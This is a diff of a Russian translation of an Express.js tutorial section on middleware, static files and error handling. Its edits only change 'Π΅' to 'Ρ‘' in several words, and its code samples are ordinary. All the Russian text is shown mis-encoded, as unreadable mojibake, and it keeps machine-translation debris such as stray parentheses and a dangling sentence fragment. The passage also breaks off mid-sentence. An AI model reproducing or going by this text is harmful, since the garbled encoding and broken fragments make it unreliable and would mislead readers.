+ <span title="">Для использования стороннСго ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния сначала Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² своё ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ NPM.</span> <span title="">НапримСр, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС срСдства рСгистрации HTTP-запросов morgan, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</span></span></p>
<pre class="brush: bash notranslate"><code>$ npm install morgan
</code></pre>
@@ -321,11 +321,11 @@ var app = express();
<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. ΠŸΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π² Ρ‚ΠΎΠΌ порядкС, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Ρ‹.</span> <span title="">Для Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния Π²Π°ΠΆΠ΅Π½ порядок (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС сСанса зависит ΠΎΡ‚ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния cookie, Ρ‚ΠΎ сначала Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ cookie).</span> <span title="">ΠŸΠΎΡ‡Ρ‚ΠΈ всСгда случаСтся Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ΅ ПО вызываСтся ΠΏΠ΅Ρ€Π΅Π΄ настройкой ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ², ΠΈΠ½Π°Ρ‡Π΅ ваши ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ² Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ доступа ΠΊ функциям, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹ΠΌ вашим ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½Ρ‹ΠΌ ПО.</span></span></p>
</div>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ свои собствСнныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния, ΠΈ Π²Π°ΠΌ, вСроятно, придСтся это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ (хотя Π±Ρ‹ для создания ΠΊΠΎΠ΄Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ошибок).</span> <span title="">ЕдинствСнноС Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠ΅ ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния ΠΈ ΠΎΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΌ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π° состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ: ΠΊΠ°ΠΊΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ, Ссли ΠΎΠ½ΠΈ Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ°ΡŽΡ‚ Ρ†ΠΈΠΊΠ» запроса (ΠΊΠΎΠ³Π΄Π° вызываСтся функция ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния, ΠΎΠ½Π° содСрТит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ).</span> <span title="">это Π½Π°Π΄ΠΎ Π½Π°Π·Ρ‹Π²Π°Ρ‚ΡŒ).</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ свои собствСнныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния, ΠΈ Π²Π°ΠΌ, вСроятно, придётся это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ (хотя Π±Ρ‹ для создания ΠΊΠΎΠ΄Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ошибок).</span> <span title="">ЕдинствСнноС Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠ΅ ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния ΠΈ ΠΎΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΌ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π° состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ: ΠΊΠ°ΠΊΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ, Ссли ΠΎΠ½ΠΈ Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ°ΡŽΡ‚ Ρ†ΠΈΠΊΠ» запроса (ΠΊΠΎΠ³Π΄Π° вызываСтся функция ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния, ΠΎΠ½Π° содСрТит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ).</span> <span title="">это Π½Π°Π΄ΠΎ Π½Π°Π·Ρ‹Π²Π°Ρ‚ΡŒ).</span></span></p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΡƒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ app.use () ΠΈΠ»ΠΈ app.add (), Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π»ΠΈ Π²Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС ΠΊΠΎ всСм ΠΎΡ‚Π²Π΅Ρ‚Π°ΠΌ ΠΈΠ»ΠΈ ΠΊ ΠΎΡ‚Π²Π΅Ρ‚Π°ΠΌ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Π³Π»Π°Π³ΠΎΠ»ΠΎΠΌ HTTP (GET, POST ΠΈ Ρ‚. Π΄.).</span> <span title="">)</span><span title="">.</span> <span title="">ΠœΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ Π·Π°Π΄Π°ΡŽΡ‚ΡΡ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ Π² ΠΎΠ±ΠΎΠΈΡ… случаях, хотя ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ нСобязатСлСн ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ app.use ().</span><br>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΡƒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ app.use () ΠΈΠ»ΠΈ app.add (), Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π»ΠΈ Π²Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС ΠΊΠΎ всСм ΠΎΡ‚Π²Π΅Ρ‚Π°ΠΌ ΠΈΠ»ΠΈ ΠΊ ΠΎΡ‚Π²Π΅Ρ‚Π°ΠΌ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Π³Π»Π°Π³ΠΎΠ»ΠΎΠΌ HTTP (GET, POST ΠΈ Ρ‚. Π΄.).</span> <span title="">)</span><span title="">.</span> <span title="">ΠœΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ Π·Π°Π΄Π°ΡŽΡ‚ΡΡ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ Π² ΠΎΠ±ΠΎΠΈΡ… случаях, хотя ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ нСобязатСлСн ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ app.use ().</span><br>
<br>
- <span title="">Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠ±Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π°, Π° Ρ‚Π°ΠΊΠΆΠ΅ с / Π±Π΅Π· ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π°.</span></span></p>
+ <span title="">Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠ±Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π°, Π° Ρ‚Π°ΠΊΠΆΠ΅ с / Π±Π΅Π· ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π°.</span></span></p>
<pre class="brush: js notranslate">var express = require('express');
var app = express();
@@ -348,7 +348,7 @@ app.get('/', a_middleware_function);
app.listen(3000);</pre>
<div class="note">
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π‘ΠΎΠ²Π΅Ρ‚ ΠΏΠΎ JavaScript: Π²Ρ‹ΡˆΠ΅ ΠΌΡ‹ объявляСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ, Π° Π·Π°Ρ‚Π΅ΠΌ устанавливаСм Π΅Π΅ Π² качСствС колбэка.</span> <span title="">Π’ нашСй ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π° ΠΌΡ‹ объявили колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½Π° использовалась.</span> <span title="">Π’ JavaScript любой ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ являСтся допустимым.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π‘ΠΎΠ²Π΅Ρ‚ ΠΏΠΎ JavaScript: Π²Ρ‹ΡˆΠ΅ ΠΌΡ‹ объявляСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ, Π° Π·Π°Ρ‚Π΅ΠΌ устанавливаСм Π΅Ρ‘ Π² качСствС колбэка.</span> <span title="">Π’ нашСй ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π° ΠΌΡ‹ объявили колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½Π° использовалась.</span> <span title="">Π’ JavaScript любой ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ являСтся допустимым.</span></span></p>
</div>
<p><span class="tlid-translation translation" lang="ru"><span title="">ДокумСнтация ΠΏΠΎ Express содСрТит Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ большС ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΏΠΎ использованию ΠΈ написанию ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния Express.</span></span></p>
@@ -360,7 +360,7 @@ app.listen(3000);</pre>
<pre class="brush: js notranslate">app.use(express.static('public'));
</pre>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π›ΡŽΠ±Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹ Π² ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΎΠΌ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ ΠΎΠ±ΡΠ»ΡƒΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΏΡƒΡ‚Π΅ΠΌ добавлСния ΠΈΡ… ΠΈΠΌΠ΅Π½ΠΈ Ρ„Π°ΠΉΠ»Π° (ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ Β«ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΎΠ³ΠΎΒ» ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π°) ΠΊ Π±Π°Π·ΠΎΠ²ΠΎΠΌΡƒ URL.</span> <span title="">Π’Π°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π›ΡŽΠ±Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹ Π² ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΎΠΌ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ ΠΎΠ±ΡΠ»ΡƒΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΏΡƒΡ‚Ρ‘ΠΌ добавлСния ΠΈΡ… ΠΈΠΌΠ΅Π½ΠΈ Ρ„Π°ΠΉΠ»Π° (ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ Β«ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΎΠ³ΠΎΒ» ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π°) ΠΊ Π±Π°Π·ΠΎΠ²ΠΎΠΌΡƒ URL.</span> <span title="">Π’Π°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</span></span></p>
<pre class="notranslate"><code>http://localhost:3000/images/dog.jpg
http://localhost:3000/css/style.css
@@ -390,7 +390,7 @@ http://localhost:3000/media/cry.mp3</code>
<h3 id="ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°_ошибок"><span class="tlid-translation translation" lang="ru"><span title="">ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° ошибок</span></span></h3>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Ошибки ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΎΠ΄Π½ΠΎΠΉ ΠΈΠ»ΠΈ нСсколькими ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ функциями ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° вмСсто ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Ρ… Ρ‚Ρ€Π΅Ρ…: (err, req, res, next).</span> <span title="">НапримСр:</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Ошибки ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΎΠ΄Π½ΠΎΠΉ ΠΈΠ»ΠΈ нСсколькими ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ функциями ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° вмСсто ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Ρ… Ρ‚Ρ€Ρ‘Ρ…: (err, req, res, next).</span> <span title="">НапримСр:</span></span></p>
<pre class="brush: js notranslate">app.use(function(err, req, res, next) {
console.error(err.stack);
@@ -400,7 +400,7 @@ http://localhost:3000/media/cry.mp3</code>
<p><span class="tlid-translation translation" lang="ru"><span title="">Они ΠΌΠΎΠ³ΡƒΡ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ любой Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, Π½ΠΎ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ послС всСх Π΄Ρ€ΡƒΠ³ΠΈΡ… app.use () ΠΈ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Ρ‹Π·ΠΎΠ²Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ послСдним ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½Ρ‹ΠΌ ПО Π² процСссС ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ запросов!</span><br>
<br>
- <span title="">Express поставляСтся со встроСнным ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ ошибок, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ заботится ΠΎΠ±ΠΎ всСх ΠΎΡΡ‚Π°Π²ΡˆΠΈΡ…ΡΡ ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΡƒΡ‚ΡŒ Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ.</span> <span title="">Π­Ρ‚Π° промСТуточная функция ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ошибок ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ добавляСтся Π² ΠΊΠΎΠ½Π΅Ρ† стСка Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния.</span> <span title="">Если Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚Π΅ ΠΎΡˆΠΈΠ±ΠΊΡƒ Π² next () ΠΈ Π½Π΅ 